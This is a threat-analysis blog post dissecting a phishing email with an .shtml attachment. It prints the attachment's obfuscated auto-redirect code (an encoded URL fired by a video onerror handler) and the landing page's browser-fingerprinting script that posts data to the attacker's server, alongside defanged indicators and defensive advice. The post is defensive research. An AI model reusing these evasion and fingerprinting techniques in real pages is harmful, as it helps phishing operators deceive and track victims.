By Kyalo | OpeOpeLabs


Introduction

Phishing remains one of the most effective attack vectors. This post dissects a phishing email sample, analyzing how it bypassed defenses, what payload it delivered, and the attacker’s tradecraft.


Timeline of the Incident (Aug 2025)

  1. Email received

    • Subject: Bradbury
    • Sender: nutri-vida@hotmail[dot]com (appeared to be a compromised Hotmail account)
    • Attachment: Open sex 8062.shtml

    Snap A — Email headers screenshot

  2. Attachment details

    • SHA256: 2922b7db19040d8f3ed57441bee5a88402db34808453b482a34e60ec5ad15a71
    • File: Open sex 8062.shtml

    Snap D — Hash output

  3. Code Obfuscation and Execution Trigger

The attachment Open sex 8062.shtml uses a simple obfuscation technique to hide the malicious URL. Instead of relying on user interaction, it automatically triggers the redirect upon loading by exploiting an HTML error event.

Here’s a snippet of the original code:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript">  
const handleError = () => { 
    window.location.href = new TextDecoder().decode(new Uint8Array([ 
        104,116,116,112,115,58,47,47, /* ... truncated array ... */ 
    ])); 
};   
</script>  
<video src="wigobspp" onerror="handleError()" />
</head> 
<body> 
<!-- Large blob of random text to avoid detection -->
</body> 
</html>

Key Observations:

  • Obfuscation Method: The URL is encoded as an array of decimal values within a Uint8Array, which is then decoded using TextDecoder. This avoids plaintext URLs that might be flagged by security filters.
  • Execution via onerror: The <video> element has an invalid src attribute (wigobspp), which causes it to fail loading. This triggers the onerror event handler, calling handleError() to redirect the user without any clicks. This technique is stealthier than using onclick or similar user-dependent events, as it requires no interaction and happens immediately upon page load.
  • Decoy Content: The body contains a large blob of random text to increase the file size or avoid signature-based detection by making the file appear benign.

This approach highlights how attackers leverage standard web technologies (HTML5, JavaScript) in subtle ways to bypass initial scrutiny.

  1. Decoded redirect
    • Using Python,
nums = [104,116,116,112,58,47,47, ...]
url = bytes(nums).decode('utf-8', errors='replace')
print("Decoded URL:", url) 
Decoded URL: hxxps://o15zd[.]bemobtrcks[.]com/go/...

Infrastructure Analysis

The decoded URL points to the domain o15zd[.]bemobtrcks[.]com. A quick analysis at the parent domain (bemobtrcks[.]com) links this incident to a broader malicious campaign.

  • Domain Registration: Public whois records show the domain was registered in 2020, but remains actively updated and operational in 2025.

  • Threat Intelligence Context: Analysis across platforms such as VirusTotal and AlienVault OTX links bemobtrcks[.]com to BeMob, a legitimate traffic-tracking platform widely used in affiliate marketing. However, threat actors frequently exploit BeMob’s capabilities for malicious purposes, including:

    • Malvertising (Malicious Advertising): Redirecting unsuspecting users to exploit kits, scam sites, or fake-captcha pages.
    • Phishing Campaigns: Tracking the effectiveness of phishing links and cloaking harmful landing pages.
    • Payload Distribution: Dynamically serving malware payloads based on device fingerprinting or geolocation.

The subdomain o15zd is a dynamically generated identifier, typical of attacker campaigns. This approach allows adversaries to rotate links rapidly, rendering static blocklists far less effective. In practice, it shows how attackers are leveraging a commercial-grade tracking system to manage their campaigns with both efficiency and scale.

  1. Landing page behavior
    • Saved with curl for offline analysis.
    • Found Zepto.js (v1.2.0) + FingerprintJS2 (v2.1.4).
    • Behavior:
      • Collect browser fingerprint (Canvas, WebGL, Audio, Fonts, etc.).
      • Encode and POST fingerprint to currentUrl.pathname.
      • Server responds with { url: "..." }.
      • Victim is redirected to final payload (could be scam site, phishing, or exploit).
    • Logs errors and telemetry to /frontlog.
<!-- Loading Zepto and FingerprintJS2 -->
<script>
!function(t,e){"function"==typeof define&&define.amd?define(function(){return e(t)}):e(t)}(this,function(t){var e=function(){ ... }}());
</script>
<!-- The script that uses these libraries to collect and send fingerprints -->
<script type="text/javascript">
    let u = '',
        cf = '',
        forceClickFallback = '1',
        currentUrl = new URL(document.location.href);

    function getClickWithFp(params, fpComponents) {
        params.fp = getFpEncoded(fpComponents);
        getClick(params);
    }

    function getClick(params) {
        $.post(
            currentUrl.pathname,
            params,
            handleClickResponse
        );
    }

    function getFpEncoded(components) {
        let fpData = components.filter(function (value) {
            return -1 === ['webgl', 'canvas'].indexOf(value.key);
        });

        fpData.push({
            key: '__hash',
            value: Fingerprint2.x64hash128(components.map(function (pair) {
                return pair.value
            }).join(), 31)
        });

        return btoa(encodeURIComponent(JSON.stringify(fpData)));
    }

    $(document).ready(function () {
        setCF();

        let params = Object.fromEntries(currentUrl.searchParams);

        params.forceFallback = forceClickFallback;

        try {
            if (window.requestIdleCallback) {
                requestIdleCallback(function () {
                    if (Fingerprint2) {
                        Fingerprint2.get(function (components) {
                            getClickWithFp(params, components);
                        })
                    }
                })
            } else {
                setTimeout(function () {
                    Fingerprint2.get(function (components) {
                        getClickWithFp(params, components);
                    })
                }, 500)
            }
        } catch (e) {
            getClick(params);
        }
    });
</script>

Attack Flow Diagram


Indicators of Compromise (IOCs)

File-Based IOCs:

  • Filename: Open sex 8062.shtml
  • SHA256: 2922b7db19040d8f3ed57441bee5a88402db34808453b482a34e60ec5ad15a71
  • File Type: Server-Side HTML (SHTML)

Network-Based IOCs:

  • Primary Redirect Domain: o15zd[.]bemobtrcks[.]com
  • Path: /go/... (Dynamic)
  • Telemetry Endpoint: /frontlog

Tools & Libraries:

  • Fingerprinting Library: FingerprintJS2 v2.1.4
  • Utility Library: Zepto.js v1.2.0

Defensive Recommendations

  • Network Blocking: Consider adding IOCs to your security tools. The domain pattern can be blocked using regex in tools like Pi-hole or pfSense.
  • Email Filtering: Configure your email gateway (e.g., M365 Defender, Proofpoint) to block emails with .shtml attachments.
  • Browser Isolation: For high-risk users, solutions like Talon Cyber Security or Cloudflare Browser Isolation can prevent session hijacking.

MITRE ATT&CK Mapping

  • T1589.001 - Gather Victim Identity Information: Phishing for Information
    The initial email is the primary method for gathering victim interest.
  • T1566.001 - Phishing: Spearphishing Attachment
    The attack is delivered via a malicious .shtml email attachment.
  • T1204.002 - User Execution: Malicious File
    Execution requires the user to open the attached file.
  • T1082 - System Information Discovery
    The FingerprintJS2 script extensively probes the victim’s browser and system for identifying features.
  • T1041 - Exfiltration Over C2 Channel
    The collected fingerprint data is exfiltrated via a POST request to the attacker-controlled server.
  • T1105 - Ingress Tool Transfer
    The server responds with instructions to redirect the victim to a secondary payload (e.g., an exploit kit, scam page, or additional malware).

Lessons Learned

  1. Phishing is multi-layered - malicious attachments can trigger redirects and payloads without fake login forms.
  2. Commercial tools abused - platforms like BeMob show how legitimate ad-tech can be weaponized for malicious campaigns.
  3. Fingerprinting enables targeting - attackers dynamically select payloads based on system/browser data, reducing noise and increasing success.

Reflection

Phishing has evolved beyond crude mass-mailing, but this case underscores how industrialized and adaptive operations have become the norm. For defenders, this means signature-based filtering or static blocklists (though foundational tools like Hagezi’s blocklists remain valuable) are insufficient on their own. The future of phishing defense lies in behavioral detection, threat intel sharing, and proactive hunting. Every incident, like this one, becomes less about the single email and more about understanding the ecosystem of tools and services attackers repurpose to scale campaigns.